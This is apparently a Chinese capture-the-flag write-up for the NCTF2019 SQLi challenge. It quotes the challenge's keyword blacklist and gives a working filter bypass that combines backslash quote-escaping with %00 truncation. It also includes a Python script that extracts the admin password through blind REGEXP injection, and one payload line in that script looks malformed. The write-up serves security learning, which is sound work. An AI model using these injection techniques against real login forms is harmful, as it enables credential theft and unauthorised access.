[NCTF2019]SQLi
知识点
- %00截断
- regexp注入
WP
明天考数据库,概念属实背不下去了,做一道sql注入来放松放松。
首先进入环境,提示要try to make the sqlquery have its own results。
看到语句是这样:
select * from users where username='' and passwd=''
猜测可能过滤了很多东西,经过信息收集发现存在robots.txt,里面写了hint.txt,里面的内容如下:
$black_list = “/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|’|=| |in|<|>|-|.|()|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i”;
If $_POST[‘passwd’] === admin’s password,
Then you will get the flag;
发现过滤了很多东西,而且需要我们传正确的passwd才能得到flag。
首先发现没有过滤反斜杠,因此可以转义单引号。但是问题是过滤了# - '
这三个东西,我们就没法将最后多出来的单引号给去掉。
我查了一下,发现了可以00截断。看了一下题目的环境:
确实是存在00截断的php版本,因此利用00截断:
username=\&passwd=||(1);%00
然后就是想办法注入了。因为过滤了Like,可以用REGEXP来注入,脚本如下:
import requests
import string
from urllib.parse import unquote
url='http://fcc7d9e3-cb5c-4a51-a351-c90d1d2da1d3.node3.buuoj.cn/'
strs = string.ascii_letters+string.digits+"_"
result=''
payload="||(passwd/**/regexp**/0x{});"
#payload="||(username/**/regexp/**/0x{});"
while 1:
for j in strs:
p1="^"+result+j
p2=bytes(p1,'UTF-8')
pp=p2.hex()
ppp=payload.format(pp)
zero=unquote("%00", 'utf-8')
ppp+=zero
data={
"username":"\\",
"passwd":ppp
}
#print(data)
r=requests.post(url=url,data=data).text
#print(r)
#break
if "welcome" in r:
result+=j
print(result)
break
#print(data)
可能爆出的是有大写有小写的,转成小写就好了。然后输入密码得到flag。
写完后看了一下WP,发现因为没有过滤双引号,所以可以不用16进制来绕过,直接拿双引号就可以了。
上一篇: java数据类型转换以及部分常用快捷键